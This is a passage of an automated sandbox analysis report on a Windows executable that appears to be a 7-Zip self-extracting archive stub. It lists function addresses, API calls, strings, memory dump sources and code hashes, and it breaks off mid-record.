GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040205F
DispatchMessageW.USER32(?), ref: 00402069
KillTimer.USER32(00000000,00000001,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402072
KiUserCallbackDispatcher.NTDLL(00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402079

Strings

Static, xrefs: 0040203A

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: MessageTimer$CallbackCreateDispatchDispatcherHandleKillModuleUserWindow
String ID: Static
API String ID: 2479445380-2272013587
Opcode ID: 947087521f2d8a527adb1e132fdb1a2ab70df0e469f5237fcb2ff151bfac6e68
Instruction ID: 2d78b022e2fbb31551ae1a24c66cabd830678dfcab2333de03de12e069c17b52
Opcode Fuzzy Hash: 947087521f2d8a527adb1e132fdb1a2ab70df0e469f5237fcb2ff151bfac6e68
Instruction Fuzzy Hash: 2BF062325472217BCA312BA69C4DEEF3E2DEF46BB1F004260F619A11D1DAB94111C6BA

Function 00414491 Relevance: 12.6, APIs: 8, Instructions: 565
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT ref: 00414501
??2@YAPAXI@Z.MSVCRT ref: 0041454B

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 8c275e2cc856adcccae56b2b03b23110c5135f8455b1c708b9d72e7dbd912df9
Instruction ID: b54dbc60db56bc1e6d6afd4c66008574e1cbac59b919e387d83e05da41c529ad
Opcode Fuzzy Hash: 8c275e2cc856adcccae56b2b03b23110c5135f8455b1c708b9d72e7dbd912df9
Instruction Fuzzy Hash: 89321271900249DFCB14DFA5C8848EEBBB5BF88308B14456EF9169B351CB39E985CF98

Function 004053B2 Relevance: 10.6, APIs: 7, Instructions: 78
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 004053D6
??3@YAXPAX@Z.MSVCRT ref: 0040542F
??3@YAXPAX@Z.MSVCRT ref: 00405437
ShellExecuteExW.SHELL32(?), ref: 00405455
WaitForSingleObject.KERNEL32(004071CC,000000FF), ref: 0040546D
CloseHandle.KERNEL32(004071CC), ref: 00405476
??3@YAXPAX@Z.MSVCRT ref: 0040547D

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??3@$CloseExecuteHandleObjectShellSingleWaitmemset
String ID:
API String ID: 2700081640-0
Opcode ID: a85339e1bd803a9382c8719e0269a721a92dd258667116cddf8bfe46f874b10c
Instruction ID: a17db50f12ff5cb4ace43bc03755f74cf1bf378a7c310b81d7eb3e61b1d8450d
Opcode Fuzzy Hash: a85339e1bd803a9382c8719e0269a721a92dd258667116cddf8bfe46f874b10c
Instruction Fuzzy Hash: 3D212B71804208ABDB119FD5D885AEFBBB8EF44319F10812BE915B61A1D7785985CF84

Function 00401E6B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(a:@,00000000,-00000001,00403A61,?,00401A74,?,?,?,?,00401A74,?), ref: 00401E72
GetLastError.KERNEL32(?,?,?,?,00401A74,?), ref: 00401E7C
SetLastError.KERNEL32(000000B7,?,?,?,?,00401A74,?), ref: 00401E8C
GetFileAttributesW.KERNELBASE(?,?,?,?,?,00401A74,?), ref: 00401E9A

Strings

a:@, xrefs: 00401E6E

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ErrorLast$AttributesCreateDirectoryFile
String ID: a:@
API String ID: 635176117-3844204524
Opcode ID: 2870007de936e2cd6bf86a77b59755239ded30d6049a6d438da8b23bd184778b
Instruction ID: 62bb911204df67689409a0bf299a5fa733f048eefc6419992ca9e78119752425
Opcode Fuzzy Hash: 2870007de936e2cd6bf86a77b59755239ded30d6049a6d438da8b23bd184778b
Instruction Fuzzy Hash: 0CE09A3494A210BFEB212B24FC087DF3B549F01321F608A36FC19E21F0C3388852868A

Function 00402665 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(kernel32,GetNativeSystemInfo,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 00402675
GetProcAddress.KERNEL32(00000000), ref: 0040267C
GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 0040268A

Strings

GetNativeSystemInfo, xrefs: 0040266B
kernel32, xrefs: 00402670

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: AddressInfoLibraryLoadNativeProcSystem
String ID: GetNativeSystemInfo$kernel32
API String ID: 2103483237-3846845290
Opcode ID: 19664b54b855b72bcbaa716dd824881a6f451c3f2b4ed8b8d333fe071d6dfa80
Instruction ID: 08739c12cb3b948957cf2c0406c7fd7347f4194bf9f07d28511d247575205d7a
Opcode Fuzzy Hash: 19664b54b855b72bcbaa716dd824881a6f451c3f2b4ed8b8d333fe071d6dfa80
Instruction Fuzzy Hash: AAD05EB0A0520576CB00ABB15D0E9EB7AEC5A48608B144461A806F00C5EAADDD90C36A

Function 00416891 Relevance: 7.6, APIs: 5, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT ref: 004168E8
memmove.MSVCRT ref: 0041697F
??3@YAXPAX@Z.MSVCRT ref: 0041698B

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??3@memcpymemmove
String ID:
API String ID: 3549172513-0
Opcode ID: 85b00a1da2e75e8d58eb8ba0f360279bf7837f3aab605fd12771fdc2f3034734
Instruction ID: 6694c7cce515cef0b0cd55d5e6bb9cb7435d9f647c4cb47c4d4af15ebe31c866
Opcode Fuzzy Hash: 85b00a1da2e75e8d58eb8ba0f360279bf7837f3aab605fd12771fdc2f3034734
Instruction Fuzzy Hash: 2D41CEB1A10204ABDB20DE65C941BFFB7B9EF44704F16446EE845A7241D738EE81CBA9

Function 00404D0B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32(00000000,?,?), ref: 00404D17

Part of subcall function 00402427: GetUserDefaultUILanguage.KERNEL32(00404D27,?,?), ref: 00402431

Part of subcall function 0040247D: GetLastError.KERNEL32(00000000,?,?), ref: 004024CC
Part of subcall function 0040247D: wsprintfW.USER32 ref: 004024DD
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004024F2
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 004024F7
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT ref: 00402512
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402525
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 0040252C
Part of subcall function 0040247D: lstrcmpiW.KERNEL32(009D9240,?), ref: 00402541
Part of subcall function 0040247D: ??3@YAXPAX@Z.MSVCRT ref: 00402551
Part of subcall function 0040247D: SetLastError.KERNEL32(00000003), ref: 00402578
Part of subcall function 0040247D: lstrlenA.KERNEL32(0041B328), ref: 004025AC
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT ref: 004025C7
Part of subcall function 0040247D: GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 004025F9

Part of subcall function 0040247D: ??3@YAXPAX@Z.MSVCRT ref: 0040256F
Part of subcall function 0040247D: _wtol.MSVCRT(?), ref: 0040260A
Part of subcall function 0040247D: MultiByteToWideChar.KERNEL32(00000000,0041B328,00000001,009D9240,00000002), ref: 0040262A

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00404D9D
wsprintfW.USER32 ref: 00404DB8

Part of subcall function 004035CF: ??2@YAPAXI@Z.MSVCRT ref: 004035D4

Strings

7zSfxFolder%02d, xrefs: 00404DB2

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ErrorLast$??2@$??3@EnvironmentVariablewsprintf$ByteCharDefaultFolderInfoLanguageLocaleMultiPathSpecialUserWide_wtollstrcmpilstrlen
String ID: 7zSfxFolder%02d
API String ID: 3387708999-2820892521
Opcode ID: d34a03c5dd54725b1acb63832af8b25ea8c8f143a98a30686e2398e18eee94ac
Instruction ID: 1fdf757244b44e0294be47ca2d8d1062c2b35c8cdb495cdfc6011dfc87a7cf41
Opcode Fuzzy Hash: d34a03c5dd54725b1acb63832af8b25ea8c8f143a98a30686e2398e18eee94ac
Instruction Fuzzy Hash: 8F317CB1A112089ECB11FFB2DD8AEEE7BA8AF44305F00403FA559A61E1EB784545CB59

Function 0040B2B0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT ref: 0040B2C3
memmove.MSVCRT ref: 0040B2E0
??3@YAXPAX@Z.MSVCRT ref: 0040B2F1

Strings

hA, xrefs: 0040B2B2

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??2@??3@memmove
String ID: hA
API String ID: 3828600508-1221461045
Opcode ID: bc9196dac32aa623d13a183dec5295da8b1281fe9b3a0aa3bad5d2b53f65af72
Instruction ID: d87302abea443053d5760b5c6252bf4bae7be4f47644660215ecec497c7fda62
Opcode Fuzzy Hash: bc9196dac32aa623d13a183dec5295da8b1281fe9b3a0aa3bad5d2b53f65af72
Instruction Fuzzy Hash: BEF0B4B66006005BC2209B1B9C9485BB7E9EFC9700704887FE92ED3700D334FC54C6AE

Function 00402EE4 Relevance: 6.4, APIs: 5, Instructions: 118
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(?,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402F16
lstrlenA.KERNEL32(?,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402F1E
memcmp.MSVCRT ref: 00402F84
memcmp.MSVCRT ref: 00402FC1
memmove.MSVCRT ref: 00402FF3

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: lstrlenmemcmp$memmove
String ID:
API String ID: 3251180759-0
Opcode ID: 6bc55519efb0b0d7bcd01b07c395372ad45836126fbb7a8d58e6edc0d1d2ad79
Instruction ID: 79ec95c0005fca4e8b411a1d1c8c43267f3aca6e0e8108953f5cc2358a2b563c
Opcode Fuzzy Hash: 6bc55519efb0b0d7bcd01b07c395372ad45836126fbb7a8d58e6edc0d1d2ad79
Instruction Fuzzy Hash: 9B417072D0120AAFCF01DFA4C9849EEBFB9EF48384F0444AAE805B3245D3759E85DB55

Function 004019D2 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT ref: 004019DF
??2@YAPAXI@Z.MSVCRT ref: 00401A23
??2@YAPAXI@Z.MSVCRT ref: 00401A7B

Part of subcall function 00409606: wvsprintfW.USER32(?,00000000,?), ref: 0040962A
Part of subcall function 00409606: GetLastError.KERNEL32 ref: 0040963B
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 0040968B
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 00409692
Part of subcall function 00409606: ??2@YAPAXI@Z.MSVCRT ref: 004096A7
Part of subcall function 00409606: lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
Part of subcall function 00409606: lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
Part of subcall function 00409606: ??3@YAXPAX@Z.MSVCRT ref: 004096D7
Part of subcall function 00409606: LocalFree.KERNEL32(?), ref: 004096E1

Strings

ExecuteFile, xrefs: 004019D7

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??2@$FormatMessagelstrcpylstrlen$??3@ErrorFreeLastLocalwvsprintf
String ID: ExecuteFile
API String ID: 1592922708-323923146
Opcode ID: 9ac5554e1c21d9026da9657adf3441f6da01eba3c8fc77f1622ea7b0805a4649
Instruction ID: c177ff4ec49e1bf3251047196a645ec591425be599670d09217b52daf662347d
Opcode Fuzzy Hash: 9ac5554e1c21d9026da9657adf3441f6da01eba3c8fc77f1622ea7b0805a4649
Instruction Fuzzy Hash: 3D31A075701204BFCB10DBA6CC85DAF77A9EF85314724486FF405EB2A1DA789D80CB69

Function 00401880 Relevance: 6.1, APIs: 4, Instructions: 100
synchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,0040133C,00000000,00000000,?), ref: 004018C4
WaitForSingleObject.KERNEL32(000000FF,?,00401AE1,?,?), ref: 004018E5

Part of subcall function 00409606: wvsprintfW.USER32(?,00000000,?), ref: 0040962A
Part of subcall function 00409606: GetLastError.KERNEL32 ref: 0040963B
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 0040968B
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 00409692
Part of subcall function 00409606: ??2@YAPAXI@Z.MSVCRT ref: 004096A7
Part of subcall function 00409606: lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
Part of subcall function 00409606: lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
Part of subcall function 00409606: ??3@YAXPAX@Z.MSVCRT ref: 004096D7
Part of subcall function 00409606: LocalFree.KERNEL32(?), ref: 004096E1

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: FormatMessagelstrcpylstrlen$??2@??3@CreateErrorFreeLastLocalObjectSingleThreadWaitwvsprintf
String ID:
API String ID: 359084233-0
Opcode ID: 319690abfe6fd779aaf84523b8fe0746c993e0633f498ebd4a0fa4e94ee787c6
Instruction ID: 75a92c2673557d9aa231ca5611e15780e437056db76e39d6c0de200791827833
Opcode Fuzzy Hash: 319690abfe6fd779aaf84523b8fe0746c993e0633f498ebd4a0fa4e94ee787c6
Instruction Fuzzy Hash: 143124F5640200BAEB315B16DC55ABB3769EB84350F24813BF905FA2F0C6788981D72E

Function 00414DCF Relevance: 4.9, APIs: 3, Instructions: 410
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00414DD8
??2@YAPAXI@Z.MSVCRT ref: 00414F76
??2@YAPAXI@Z.MSVCRT ref: 00415049

Part of subcall function 00415346: ??2@YAPAXI@Z.MSVCRT ref: 0041536E

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??2@$H_prolog
String ID:
API String ID: 3431946709-0
Opcode ID: 04c58f70b3ae3af4a81f86ac04d094f81de620dd4ea7d6dbb38bc93096a2a0a8
Instruction ID: 05c66da844a657c6192dd0360cb768692f443836589bcaaccfb39479f9247554
Opcode Fuzzy Hash: 04c58f70b3ae3af4a81f86ac04d094f81de620dd4ea7d6dbb38bc93096a2a0a8
Instruction Fuzzy Hash: 5AF12871600609DFCB14DF69C884AEE7BB4BF88314F14415AF8199B351DB39ED82CB98

Function 00403F89 Relevance: 4.7, APIs: 3, Instructions: 151COMMON

Download Yara Rule

APIs

Part of subcall function 00402665: LoadLibraryA.KERNEL32(kernel32,GetNativeSystemInfo,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 00402675
Part of subcall function 00402665: GetProcAddress.KERNEL32(00000000), ref: 0040267C
Part of subcall function 00402665: GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 0040268A

??3@YAXPAX@Z.MSVCRT ref: 00404117
??3@YAXPAX@Z.MSVCRT ref: 0040411F
??3@YAXPAX@Z.MSVCRT ref: 00404127

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??3@$AddressInfoLibraryLoadNativeProcSystem
String ID:
API String ID: 1642057587-0
Opcode ID: 8baa72d996272d38ed05c446b7b0ed8a988b778acb04223dc58cbd51a4d46b7c
Instruction ID: 9e508ec73b50e54c44e6a1cbebbe2d332481b03b5bec8f58460c8bd0d041dc66
Opcode Fuzzy Hash: 8baa72d996272d38ed05c446b7b0ed8a988b778acb04223dc58cbd51a4d46b7c
Instruction Fuzzy Hash: 9B515AB2D00109AACF01EFD1CD859FEBB7AAF48308F04442AF611B21D1D7799A4ADB59

Function 00415EEA Relevance: 4.6, APIs: 3, Instructions: 114COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00415EEF

Part of subcall function 00418390: _EH_prolog.MSVCRT ref: 00418395

??3@YAXPAX@Z.MSVCRT ref: 00415F9F
??3@YAXPAX@Z.MSVCRT ref: 00415FDE

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??3@H_prolog
String ID:
API String ID: 1329742358-0
Opcode ID: 489a3c7cee778f4efcc6a7dc722babe966adbbc4dc412f5c71f799eb8d0ccc08
Instruction ID: ee2028b182a3def668edec6c1c55fa530388cf6d31d76bb4d9d5585ab1c54ad5
Opcode Fuzzy Hash: 489a3c7cee778f4efcc6a7dc722babe966adbbc4dc412f5c71f799eb8d0ccc08
Instruction Fuzzy Hash: 3C414E3160020ADFCB11DFA5C895AEEBBB8EF84304F14446EF406A7251DB79AD86CB15

Function 004029C5 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE(00000040), ref: 004029E9

Strings

@, xrefs: 004029DC

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID: @
API String ID: 1890195054-2766056989
Opcode ID: 59fdda50a6964837229ca20d0fc0b21477a5b75227e6593dad09989c17fceb1e
Instruction ID: ac6f2177cda35d3747c738f0166e8eeafa9c669c636109ee84ed785ee5894a61
Opcode Fuzzy Hash: 59fdda50a6964837229ca20d0fc0b21477a5b75227e6593dad09989c17fceb1e
Instruction Fuzzy Hash: 05F0C8B1B242049ADF71A775DA4DB9E77E4BB04358F10453BD402F61C1EBB8D8448A0D

Function 004180FF Relevance: 3.2, APIs: 2, Instructions: 204COMMON

Download Yara Rule

APIs

Part of subcall function 00416224: _CxxThrowException.MSVCRT(?,0041C8F8), ref: 0041623E

??3@YAXPAX@Z.MSVCRT ref: 0041821D
??3@YAXPAX@Z.MSVCRT ref: 00418381

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??3@$ExceptionThrow
String ID:
API String ID: 2803161813-0
Opcode ID: e10bf944ff68911ba707479cc8ffbf2420e48e5b65e3bf21be0fe4843cdedc08
Instruction ID: 83b4708bc2a3ecc906b18b476579f0d6f6f5e7f9de80452c7b562753e21decce
Opcode Fuzzy Hash: e10bf944ff68911ba707479cc8ffbf2420e48e5b65e3bf21be0fe4843cdedc08
Instruction Fuzzy Hash: 50815831A00609AFCB24DFA5C891AEEBBF1FF08314F14456EE955A3351DB39A981CB58

Function 004011B7 Relevance: 3.0, APIs: 2, Instructions: 42COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 004011D7
??3@YAXPAX@Z.MSVCRT ref: 004011FD

Memory Dump Source

